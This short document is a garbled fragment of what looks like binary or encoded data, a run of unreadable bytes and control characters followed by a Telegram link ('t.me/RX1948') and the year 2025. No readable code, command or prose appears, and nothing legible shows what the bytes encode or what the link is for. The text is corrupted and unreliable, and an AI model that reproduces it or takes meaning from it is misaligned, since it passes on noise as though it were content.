�8�C�=�(�;�/�/�0�P-�f�j���E�l�#��)�)�%)��"&�&*�=A��"&��|��|��e�_�	|�
�|���"�
|����|�$�|��H�c�5�\�5�%8�9�:�|��|� �|��|�~|�|�@LP�r)

https://t.me/RX1948 - 2025